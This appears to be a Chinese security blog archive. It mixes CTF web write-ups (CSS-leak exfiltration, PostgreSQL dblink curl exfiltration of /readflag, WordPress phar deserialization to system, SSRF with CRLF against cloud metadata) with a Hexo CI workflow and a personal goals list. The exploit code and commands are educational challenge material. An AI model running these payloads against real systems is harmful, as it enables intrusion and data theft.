146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
package main

import (
"context"
"crypto/rand"
"log"
"math/big"
"net/http"
"os"
"regexp"
"time"

"github.com/gin-gonic/gin"
"gorm.io/driver/sqlite"
"gorm.io/gorm"

"github.com/go-redis/redis/v8"
)

type Post struct {
ID string `gorm:"primaryKey"`
UID string `gorm:"column:uid"`
Title string `gorm:"column:title"`
Description string `gorm:"column:description"`
CreatedAt time.Time `gorm:"column:created_at"`
}

const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

func randomString(n int) (string, error) {
b := make([]byte, n)
for i := range b {
idx, err := rand.Int(rand.Reader, big.NewInt(int64(len(letters))))
if err != nil {
return "", err
}
b[i] = letters[idx.Int64()]
}
return string(b), nil
}

func (p *Post) BeforeCreate(tx *gorm.DB) (err error) {
p.ID, err = randomString(10)
return err
}

func main() {
// datastores
/////

db, err := gorm.Open(sqlite.Open("database.db"), &gorm.Config{})
if err != nil {
log.Fatalf("failed to open a database: %s", err.Error())
}
db.AutoMigrate(&Post{})

posts := []Post{}
db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts)
if len(posts) == 0 {
db.Create(&Post{
UID: os.Getenv("ADMIN_UID"),
Title: "flag",
Description: os.Getenv("FLAG"),
})
}

rdb := redis.NewClient(&redis.Options{
Addr: "redis:6379",
Password: "",
DB: 0,
})

// misc configurations
/////

r := gin.Default()
r.LoadHTMLGlob("./templates/*.html")
r.Static("/assets", "./assets")

r.Use(func(c *gin.Context) {
c.Header("Content-Security-Policy", "script-src 'self'; style-src 'self'; base-uri 'none'")
c.Next()
})

r.Use(func(c *gin.Context) {
k := c.Query("k")
v := c.Query("v")
if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
c.Header(k, v)
}
c.Next()
})

r.Use(func(c *gin.Context) {
uid, err := c.Cookie("uid")
if err != nil || uid == "" {
uid, err = randomString(32)
if err != nil {
panic(err.Error())
}
c.SetCookie("uid", uid, 3600, "/", "", false, true)
}
c.Set("uid", uid)
c.Next()
})

// routes
/////

r.GET("/", func(c *gin.Context) {
uid, _ := c.Get("uid")

posts := []Post{}
db.Where("uid = ?", uid.(string)).Find(&posts)

c.HTML(http.StatusOK, "index.html", gin.H{
"posts": posts,
})
})

r.GET("/reset", func(c *gin.Context) {
c.Redirect(http.StatusFound, "/")
})

r.POST("/notes", func(c *gin.Context) {
uid, _ := c.Get("uid")
title := c.PostForm("title")
description := c.PostForm("description")
if title == "" || description == "" {
c.AbortWithStatus(400)
return
}

p := Post{
UID: uid.(string),
Title: title,
Description: description,
}
db.Create(&p)
c.Redirect(http.StatusFound, "/notes/"+p.ID)
})

r.GET("/notes/:id", func(c *gin.Context) {
var post Post
if db.First(&post, "id = ?", c.Param("id")).Error != nil {
c.AbortWithStatus(404)
return
}

c.HTML(http.StatusOK, "detail.html", gin.H{
"post": post,
})
})

r.POST("/tell", func(c *gin.Context) {
if err := rdb.RPush(context.Background(), "query", c.PostForm("path")).Err(); err != nil {
c.AbortWithStatus(500)
return
}
c.Redirect(http.StatusFound, "/")
})

r.Run(":8080")
}

实现了以下功能:

  1. 添加中间件,无cookie会自动生成
  2. 会根据k,v来设置http头
  3. 运行代码的时候会初始化flag到某一篇文章
  4. 写日记,查看日记(只要有日记id就行),自己的日记列表,让管理员访问该网站下的某个网页

漏洞点很简单:

1
2
3
4
5
k := c.Query("k")
v := c.Query("v")
if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
c.Header(k, v)
}

刚好之前看到过一篇有意思的文章,了解到了通过http头(link)来设置css脚本,原本也想拿去出一题css-leak的但是直接出的话太简单了

这个题就比较有意思了

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Link

通过设置Link头来插入css脚本

Link: <url here>; rel="stylesheet"; type="text/css"

但是有个问题题目有csp

script-src 'self'; style-src 'self'; base-uri 'none'

在旧版的ff中这个csp对link头并没有生效

但是题目用的是最新版的ff

于是需要用报错或者note来作为payload的负载

找报错找了半天没找到

比赛的时候note我只是简单试了以下(连note里双引号会被转义都没发现,错过了一个flag

但是就算note部分可控,好像在解析到我们的payload之前可能就会被浏览器因为语法错误而停止解析,

赛后了解到,通过这样的payload让note能够正常解析

1
2
3
RANDOM CONTENT
{} * {color:red;}
RANDOM CONTENT

个人觉得这是因为加上了{}让浏览器以为是selector从而继续解析?

在chrome上也是可以这样的,如果有人知道原因恳请告诉我呜呜呜

直接贴上wp的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import Flask, request
import requests
import urllib.parse
import string

TARGET_BASE = "http://localhost:8888"

LEAK_LENGTH = 10
CHAR_CANDIDATES = string.ascii_letters + string.digits

EXPLOIT_BASE_ADDR = "http://host.docker.internal:1337"
app = Flask(__name__)
s = requests.Session()
s.proxies = {
"http":"http://127.0.0.1:8080"
}

def build_payload(prefix: str, candidates: "List[str]"):
global EXPLOIT_BASE_ADDR
assert EXPLOIT_BASE_ADDR != "", "EXPLOIT_BASE_ADDR is not set"

payload = "{}"
for candidate in candidates:
id_prefix_to_try = prefix + candidate
matcher = ''.join(map(lambda x: '\\' + hex(ord(x))
[2:], '/notes/' + id_prefix_to_try))
payload += "a[href^=" + matcher + "] { background-image: url(" + EXPLOIT_BASE_ADDR + "/leak?q=" + urllib.parse.quote(id_prefix_to_try) + "); }"
return payload


def post_note(title: str, description: str) -> str:
r = s.post(TARGET_BASE + "/notes", data={
"title": title,
"description": description,
}, headers={
"content-type": "application/x-www-form-urlencoded"
}, allow_redirects=False)
assert r.status_code == 302, "invalid status code: {}".format(
r.status_code)
return r.headers['Location'].split('/notes/')[-1]


def report_note_as_stylesheet(id: str) -> None:
header_value = '</notes/{}>; rel="stylesheet"; type="text/css"'.format(id)
r = s.post(TARGET_BASE + "/tell", data={
"path": "/?k=Link&v={}".format(urllib.parse.quote(header_value)),
}, allow_redirects=False)
assert r.status_code == 302, "invalid status code: {}".format(
r.status_code)
return None


@app.route("/start")
def start():
p = build_payload("", CHAR_CANDIDATES)
exploit_id = post_note("exploit", p)
report_note_as_stylesheet(exploit_id)
print("[info]: started exploit with a new note: {}/notes/{}".format(TARGET_BASE, exploit_id))
return ""


@app.route("/leak")
def leak():
leaked_id = request.args.get('q')
if len(leaked_id) == LEAK_LENGTH:
print("[+] leaked (full ID): {}".format(leaked_id))
r = s.get(TARGET_BASE + "/notes/" + leaked_id)
print(r.text)
else:
print("[info] leaked: {}{}".format(
leaked_id, "*" * (LEAK_LENGTH - len(leaked_id))))

p = build_payload(leaked_id, CHAR_CANDIDATES)
exploit_id = post_note("exploit", p)
report_note_as_stylesheet(exploit_id)
print("[info]: invoked crawler with a new note: " + exploit_id)
return ""


if __name__ == "__main__":
print("[info] running app ...")
app.run(host="0.0.0.0", port=1337)

Giita

没怎么看

贴上官方wp

https://hackmd.io/@hakatashi/HkgG02U4t

用github action 让hexo体验++

用github action 让hexo体验++

起因

因为电脑机械硬盘不知道啥原因,有时候磁盘上某个文件的数据就坏掉了

然后 node_modules 或者某篇文章就GG了,虽然现在把那个机械换掉了

但是每次都要hexo deploy好麻烦啊

于是打算搞个 github action 自动生成静态文件,我只要关注 source 还有 config 就好了

设计

我们需要把 配置,文章,hexo生成的静态文件隔离开来,显然直接把它们放在不同的分支就好了

新建三个分支:master(存放文章),config(存放配置,敏感配置放到secret中),website(存放生成的网站)

github action 的逻辑:

1
2
3
4
5
6
7
8
9
安装 hexo 环境

克隆文章分支,克隆配置分支,克隆主题

配置文件字符串替换(如果有敏感数据的话)

生成静态文件

submit

实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
on:
workflow_dispatch:
push:
branches:
- master
- config

# 自定义环境变量


jobs:
build-and-deploy:
runs-on: ubuntu-latest

steps:
- name: Checkout
uses: actions/checkout@v2
with:
ref: config
- name: Checkout
uses: actions/checkout@v2
with:
ref: master
path: source
- name: Checkout
uses: actions/checkout@v2
with:
ref: website
path: public
- uses: actions/setup-node@v2
with:
node-version: '14'
cache: 'npm'
- run: npm install


# 生成并部署
- name: Deploy
run: |
npx hexo generate
cd public
git config --global user.name 'ccreater222'
git config --global user.email '[email protected]'
git add *
git commit -am "Automated generation"
git push origin website

我的2020

我的2020

这个是啥

这是一个目标清单,来记录我2020年想要完成的事情.

写这个的原因

我想要在大学毕业后,很自然的认为:我的大学是充实的,是我每一天认认真真的走过去的.我可以自豪的承认自己的优秀

image173

我想要变得更加优秀,我想活出自己

如何更新/更新规则

总结

  1. 目标是清晰明确的,量化的
  2. 目标难度要适合,不能太简单也不能不可实现
  3. 如果无法确定今年的目标,那就确定这个月的吧
  4. 根据实际情况对目标进行调整
  5. 从自己所能想到的最远的地方(目标/梦想/想法)开始制定目标

解释

  1. 举例:我要好好学习(x); 我要学习编程方面的知识,达到能够独立编写自己的博客系统(√)
  2. 太简单的目标有必要制定吗,无法实现的目标有必要写下来吗.难度适合的目标可以给予自己一种正反馈,使自己更有信心实现目标,并能从中获取乐趣
  3. 行动是有目的的,而从高到低,从整体到局部,会让你清晰的认识到你现在要怎么做,为什么要这么做,你未来的路在何方会更加清晰,如果某个地方你想不出来,那就缩小范围,你无法考虑你人生的目的,但你可以思考未来10年的方向,可能未来十年也太难下定论,未来一年,一个月,一星期却是可以的。
  4. 因为周围的变化,对目标的不了解等等因素导致可能会制定过难/过易/没有意义的目标,所以要根据实际情况进行调整(不是叫我偷懒哦)
  5. 小目标永远是为大目标/梦想/想法服务的

将目标转为计划的规则

  1. 分解细致,能力可达,留有余地
  2. 奖惩并行
  3. 每个星期总结一次,计划是否合理

所能想到的最远的目标/想法/梦想

  1. 在自己热爱的事业上获得可观的收入,成为优秀的白帽子
  2. 身体健康,三观尚在
  3. 开发一个类似hexo的python程序
  4. 进入补天前1000名(✔)

具体内容

奖惩规则

时间分为三种:专注时间,自由时间,杂;不得不干且并非在计划中且没有干其他不是不得不干的事情的时间称为:杂

  1. 每专注于目标2个小时就可以任意支配1个小时的时间
  2. 专注过程中跑去玩,从头来过,计时清零
  3. 没有认真执行,销毁这份计划

寒假

寒假期间延迟到2.22(不改我完成不了拉)

  • 寒假期间补天挖洞获得18个库币(买这个 https://www.butian.net/Shop/detail/?id=700399 )
  • 寒假期间复现30个cve(13/30) , 失败,后面就开始放纵自己呢
  • 寒假期间代码审计一个小cms,找出尽可能多的漏洞 ,失败
  • 寒假看完码农翻身(3/3)

3月份

3.11-3.31

  • 复现20个cve(0/20)
  • 看完一本书(未定)
  • 看完那本linux书籍
  • buuoj40题(8/40)
  • 再挖出20个库币

4月份

  • 复现30个cve(5/30)
  • 看完一本书(明朝那些事)
  • buuoj50题(30/50)
  • 挖20个库币(5/20)不是我不努力,一堆重复。。
  • 我的世界写一个mod

5月份

  • 看完一本书(明朝那些事二)
  • ctf题目50题(14/50)
  • 补天30个库币(150/30)
  • 渗透靶场3个(0/3)
  • 每天学习8小时以上(20/30)

6月份

  • 至少阅读一本书
  • 发现有趣的东西
  • 尝试补天公测,快乐就好
  • 渗透靶场玩玩
  • xctf,rctf …历届题目复现

7月份

  • burp 里不太会的学完
  • 明朝那些事+ctf特训营web部分
  • 3个靶机,不要看wp,如果看了一定要把不会的内容系统学习,并重新做一遍
  • ctf 10 道好题
  • 编写新的url资产采集工具

10月份

  • 内网渗透学习,完成htb3个靶场
  • 看完面向对象设计
  • 字节SRC尝试挖一个洞拿个衬衫

11月份

反思

寒假

前期做的挺好的,后面因为没有计划/不太会制定计划,就越来越浪

3月份

3月份是真的彻底摸鱼过去,浑浑噩噩没有目标没有计划,但是有很多借口

最常用的是:我要找到我热爱的目标,哪有什么东西能让你在整个过程一直热爱,过程必然辛苦,这也是最后实现时快乐的燃料,不过换一种思考角度就有可能不觉得辛苦了

总结:选择一个目标,严格要求自己,记录下每天所做的事情

4月份

总的来说还是偶尔摸鱼偶尔努力,没有目标,该为未来的工作努力下了。4月和学长一起开发了一个自动漏扫工具感觉还不错。5月份自律下吧,毕竟以前我还是挺自律的。4月份的目标没有全部完成,完成一半大概还是有的。果然反思还是要有点切入点的,不然不知道在写啥。

5月份

4月份写的脚本真的很给力,一下挖了很多洞,就是太费时了。。基本上半个月每天4个小时都在挖洞。。。其实整个在家的期间都没有动力,始终都是做着一些重复的劳动,倒没有去学习。希望自己能够因为兴趣而研究,学习。就这样

6月份

没有强制任务就开始水了,看来还是得定量一些任务的。其实我一直摸鱼的原因有一部分是因为长时间摸鱼,然后对于进行那些劳累自己心智的任务会有抗拒,有时候逼一下自己就好了。7月份要记录每天所作的事情

年度总结

2020年过去了,这份计划也是做一会停一会,奖惩制度也没有认真执行,虽然有着不错的开头,但是在过程中夭折,或许我应该在能看到的地方时刻提醒自己?

最近又被没有理想和目标所困扰,到底是我没有还是我不想有,反正最近是挺无聊的.多看点书,多思考一下吧

我要找到我热爱的目标,哪有什么东西能让你在整个过程一直热爱,过程必然辛苦,这也是最后实现时快乐的燃料,不过换一种思考角度就有可能不觉得辛苦了

real world ctf 2020

Real World CTF 2020

比赛很棒,题目很好,我很菜

DBaaSadge

就一个PostgreSQL任意语句执行,给的权限不是superuser,但大部分操作是能进行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

if(!$sql=(string)$_GET["sql"]){
show_source(__FILE__);
die();
}

header('Content-Type: text/plain');

if(strlen($sql)>100){
die('That query is too long ;_;');
}

if(!pg_pconnect('dbname=postgres user=realuser')){
die('DB gone ;_;');
}

if($query = pg_query($sql)){
print_r(pg_fetch_all($query));
} else {
die('._.?');
}

题目提供了docker文件

看下Dockerfile发现:

1
2
安装了postgresql-10-mysql-fdw
还开启了dblink

相关的介绍文章:

https://www.percona.com/blog/2018/08/21/foreign-data-wrappers-postgresql-postgres_fdw/

https://www.postgresql.org/docs/10/contrib-dblink-function.html

一个是远程连接mysql,一个是远程连接postgresql 。

mysql客户端有个非常有名的漏洞:Load data local infile '/etc/passwd' into table proc;,即客户端文件读取,利用https://github.com/allyshka/Rogue-MySql-Server 搭建一个恶意mysql服务端成功读取到文件

1
2
3
4
CREATE SERVER q FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ccreater.top',port'63306')
CREATE USER MAPPING FOR realuser SERVER q OPTIONS (username 'a', password 'a');
CREATE FOREIGN TABLE c (id int)SERVER q OPTIONS(dbname 'a',table_name 'a')
select * from c

结合dblink很自然的想到读取postgress数据库存储文件获得superuser密码再任意命令执行

通过本地搭建环境获得数据库文件位置:/var/lib/postgresql/10/main/base

已查找一下postgresql为关键词查找文件得到密码所在文件:

/var/lib/postgresql/10/main/global/1260

查找一下postgresql的加密规则:md5(password+username)

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import requests

sqls=[
"CREATE SERVER q FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ccreater.top',port'63306')",
"CREATE USER MAPPING FOR realuser SERVER q OPTIONS (username 'a', password 'a')",
"CREATE FOREIGN TABLE c (id int)SERVER q OPTIONS(dbname 'a',table_name 'a')",
"select * from c"
]
sqls=[
"select dblink('host=0 password=jpr5q','copy(select)to program''curl y5pwcd.ceye.io/`/readflag`''')"
]
def hack(sql):
burp0_url = "http://54.219.197.26:60080/"
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
r= requests.get(burp0_url, headers=burp0_headers,params={
"sql":sql
})
print(r.text)

for sql in sqls:
hack(sql)

rwctf{pop_cat_says_p1ea5e_upd4t3_youR_libmysqlclient_kekW}

2020xnuca_ezwp题解

2020 xnuca ezwp题解

wpscan扫一波发现wp是最新版本

本地搭好环境后,登入后台发现,有个插件是n年前的版本,很明显漏洞点在这

漏洞分析:https://paper.seebug.org/774/

对wp和插件对比以下官方下载的,存在以下差异

文件对比

wordpress

/wp-admin/includes/class-wp-screen.php 294行


官方

1
2
3
4
5
6
7
8
9
if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

题目

1
2
3
4
5
6
7
if ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

/wp-admin/includes/file.php 762行加了一个文件名不能包含php的waf(只检测了小写)

官方

1

题目

1
2
3
if ( (stristr(file_get_contents($file['tmp_name']), "php") !== FALSE) ) {
return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, this file content is not permitted for security reasons.' ) ) );
}

/wp-admin/includes/post.php 221

array_diff_key 参数少了’file’

官方

1
return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );

题目

1
return array_diff_key( $post_data, array_flip( array( 'meta_input', 'guid' ) ) );

wp-admin/post.php 19行,少了很多条件

官方

1
2
3
4
5
6
7
8
9
if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

题目

1
2
3
4
5
6
7
if ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

wp-includes\Requests\Utility\FilteredIterator.php
删除了:

1
2
3
4
5
6
7
8
9
10
11
12
public function unserialize( $serialized ) {
}

/**
* @inheritdoc
*/
public function __unserialize( $serialized ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.MethodDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
}

public function __wakeup() { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.MethodDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__wakeupFound
unset( $this->callback );
}

contact form 7

原来:
134行:

1
2
    return wp_mail( $recipient, $subject, $body, $headers, $attachments );
}

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
return $this->send_mail( $recipient, $subject, $body, $headers, $attachments );
}

public function send_mail($to, $subject, $message, $headers = '', $attachments = array()) {
try {
$host = explode("@", $to)[1];
$url = "http://$host";
$post_data = array(
"subject" => $subject,
"message" => $message,
"headers" => $headers
);
if ($attachments !== array()) {
if (!empty($attachments[0])) {
$post_data["file"] = curl_file_create($attachments[0]);
}
}
$ch = curl_init();
curl_setopt($ch , CURLOPT_URL , $url);
curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch , CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt($ch , CURLOPT_POSTFIELDS, $post_data);
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
file_put_contents("/tmp/1.log", $data);
}
return true;
} catch (Exception $e) {
return false;
}
}

思路

跟以下之前的漏洞发现,漏洞点调用了wp_mail,而题目改成了send_mail,里面的存在文件系统相关的函数,加上题目删除反序列化的方法,大概率思路就是利用之前的漏洞+反序列化getshell

绕过最新版本wp限制来利用历史漏洞

利用原来的payload直接打过去发现不太行,跟踪发现:

/wp-admin/includes/post.php 221:

return array_diff_key( $post_data, array_flip( array( 'meta_input', 'guid' ) ) );

最新版wp对post数据进行了过滤,删除了meta_input和guid的键,导致我们无法写入postmeta,继续跟踪发现有个地方可以用别的键写入postmeta:

/wp-admin/includes/post.php 872:

add_meta( $post_ID );

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function add_meta( $post_ID ) {
$post_ID = (int) $post_ID;

$metakeyselect = isset( $_POST['metakeyselect'] ) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
$metakeyinput = isset( $_POST['metakeyinput'] ) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
$metavalue = isset( $_POST['metavalue'] ) ? $_POST['metavalue'] : '';
if ( is_string( $metavalue ) ) {
$metavalue = trim( $metavalue );
}

if ( ( ( '#NONE#' !== $metakeyselect ) && ! empty( $metakeyselect ) ) || ! empty( $metakeyinput ) ) {
/*
* We have a key/value pair. If both the select and the input
* for the key have data, the input takes precedence.
*/
if ( '#NONE#' !== $metakeyselect ) {
$metakey = $metakeyselect;
}

if ( $metakeyinput ) {
$metakey = $metakeyinput; // Default.
}

if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_ID, $metakey ) ) {
return false;
}

$metakey = wp_slash( $metakey );

return add_post_meta( $post_ID, $metakey, $metavalue );
}

return false;
}

但是这里有个is_protected_meta,跟进去发现这个函数限制了我们的键不能以_开头,按照原来的payload,到这里好像死路了。

但是我们跟踪以下插件渲染表单的代码发现

contact-form.php:129

class WPCF7_ContactForm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private function __construct( $post = null ) {
$post = get_post( $post );

if ( $post && self::post_type == get_post_type( $post ) ) {
$this->id = $post->ID;
$this->name = $post->post_name;
$this->title = $post->post_title;
$this->locale = get_post_meta( $post->ID, '_locale', true );

$properties = $this->get_properties();

foreach ( $properties as $key => $value ) {
if ( metadata_exists( 'post', $post->ID, '_' . $key ) ) {
$properties[$key] = get_post_meta( $post->ID, '_' . $key, true );
} elseif ( metadata_exists( 'post', $post->ID, $key ) ) {
$properties[$key] = get_post_meta( $post->ID, $key, true );
}
}

$this->properties = $properties;
$this->upgrade();
}

do_action( 'wpcf7_contact_form', $this );
}

contact form 的属性啥的就是从$properties中取出(_mail就在这里面),想要利用历史漏洞我们必须能够控制_mail的值

metadata_exists( 'post', $post->ID, '_' . $key ):它先会去表中查找"_"."mail"这个属性,没有的话再去查找"mail"属性,正好我们前面找到一个可以控制非_开头的postmeta

于是构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var settings = {
"async": true,
"crossDomain": true,
"url": "/wp-admin/post.php?post=1",
"method": "POST",
"data": {
"_wpnonce": document.getElementById("_wpnonce").value,
"_wp_http_referer": "%2Fwp-admin%2Fpost-new.php",
"user_ID": "3",
"action": "post",
"originalaction": "editpost",
"post_author": "3",
"post_type": "wpcf7_contact_form",
"original_post_status": "auto-draft",
"auto_draft": "",
"post_title": "readflagtotmp2log",
"content": "test",
"wp-preview": "",
"hidden_post_status": "draft",
"post_status": "draft",
"hidden_post_password": "",
"hidden_post_visibility": "public",
"visibility": "public",
"post_password": "",
"mm": "12",
"jj": "22",
"_thumbnail_id": "-1",
"advanced_view": "1",
"comment_status": "open",
"ping_status": "open",
"post_name": "",
"metakeyinput":"mail",
"metavalue[subject]": "test \"[your-subject]\"",
"metavalue[sender]": "2",
"metavalue[recipient]": "[email protected]:60000",
"metavalue[body]": "From: [your-name] <[your-email]>\\nSubject: [your-subject]\\n\\nMessage Body:\\n[your-message]\\n\\n-- \\n",
"metavalue[additional_headers]": "Reply-To: [your-email]",
"metavalue[attachments]": "phar://./wp-content/uploads/2020/12/phar.jpg",
"metavalue[use_html]": "false",
"metavalue[exclude_blank]": "false",
"metakeyselect":"#NONE#"

}
}
jQuery.ajax(settings).done(function (response) {
console.log(response);
});

在dashboard那里执行这个js

成功写入mail:

image8421

因为没有_form属性(上面那个设置postmeta的一次只能设置一个),所以我们要手动提交jQuery(".wpcf7-form").submit(),接着就可以读取文件和反序列化了

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

namespace Kigkonsult\Icalcreator{
class Vtimezone{
public $timezonetype;
public $components;
public function __construct($val)
{
$this->components = $val;
}
}
}
namespace {

require( 'wp-load.php' ); //???????
require_once( dirname( __FILE__ ) . '/wp-includes/Requests/Utility/FilteredIterator.php' );
$arr = array(
"1" => "/readflag>/tmp/2.log" //payload
);
$obj_ = new Requests_Utility_FilteredIterator( $arr, "system" );
$obj = new Kigkonsult\Icalcreator\Vtimezone( $obj_ );


@unlink( "test.gif" );
$phar = new Phar( "test.phar" );
$phar->startBuffering();
$phar->setStub( base64_decode( "/9j/4AAQSkZJRgABAgEASABIAAD//gARSlBFRyBJbWFnZXIgMi4x/9sAhAAGBAUGBQQGBgUGBwcGCAoQCgoJCQoUDg8MEBcUGBgXFBYWGh0lHxobIxwWFiAsICMmJykqKRkfLTAtKDAlKCkoAQMEBAUE" ) . " __HALT_COMPILER(); ?>" );
$phar->setMetadata( $obj );
$phar->addFromString( "test.txt", "test" ); //????????
//??????
$phar->stopBuffering();
rename( "test.phar", "test.gif" );
}

2020 balsn ctf web 部分题解

2020 BalsnCTF web 部分题解

文章首发于安全客

题目文件:https://pan.baidu.com/s/1utpM99xbMNCX7m7J26WedQ
提取码:v7qg

tpc

http://35.194.175.80:8000/

题目说flag就在工作目录下并且不可以暴力猜解出文件名

试着file协议,发现可以任意文件读取,那么我们首先要做的是试着读取源文件

读取/proc/self/cmdline查看启动命令

/usr/local/bin/python /usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app --bind 0.0.0.0:8000 --workers 5 --worker-tmp-dir /dev/shm --worker-class gevent --access-logfile - --error-logfile -

谷歌以下gunicorn的用法很容易知道源文件就是main-dc1e2f5f7a4f359bb5ce1317a.py

再读取/proc/self/environ查看环境变量

1
HOSTNAME=tpc-1PYTHON_PIP_VERSION=19.0.3SHLVL=1HOME=/home/ggGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.2PWD=/opt/workdir

于是就知道源文件在 /opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site).read()
return text


@app.route("/")
def hello_world():
return "/query?site=[your website]"


if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)

就提供了一个很简单的ssrf功能,那么为了找到下一步的思路,就必须收集更多信息,用字典fuzz一下得到以下关键信息

/proc/1/net/arp

1
2
3
4
172.17.0.4       0x1         0x0         00:00:00:00:00:00     *        docker0
172.17.0.3 0x1 0x0 00:00:00:00:00:00 * docker0
172.17.0.2 0x1 0x2 02:42:ac:11:00:02 * docker0
10.140.0.1 0x1 0x2 42:01:0a:8c:00:01 * eth0

/etc/hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# /etc/hosts: Local Host Database
#
# This file describes a number of aliases-to-address mappings for the for
# local hosts that share this file.
#
# In the presence of the domain name service or NIS, this file may not be
# consulted at all; see /etc/host.conf for the resolution order.
#

# IPv4 and IPv6 localhost aliases
127.0.0.1 localhost
::1 localhost

#
# Imaginary network.
#10.0.0.2 myname
#10.0.0.3 myfriend
#
# According to RFC 1918, you can use the following IP networks for private
# nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
# In case you want to be able to connect directly to the Internet (i.e. not
# behind a NAT, ADSL router, etc...), you need real official assigned
# numbers. Do not try to invent your own network numbers but instead get one
# from your network provider (if any) or from your regional registry (ARIN,
# APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
169.254.169.254 metadata.google.internal metadata

hosts文件里面添加了一条特殊的记录,谷歌一下发现里面存放着实例的一些数据

直接访问metadata.google.internal,得到:

0.1/ computeMetadata/

继续访问下一级目录发现500了

阅读文档得知要加入Metadata-Flavor: Google请求头

python的urlllib库之前爆出存在着CRLF的漏洞,利用这个来绕过

"http://35.194.175.80:8000/query?site=http://metadata.google.internal/PATH/%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"

写个脚本读取所有数据:

1
2
3
4
5
6
7
8
9
10
11
12
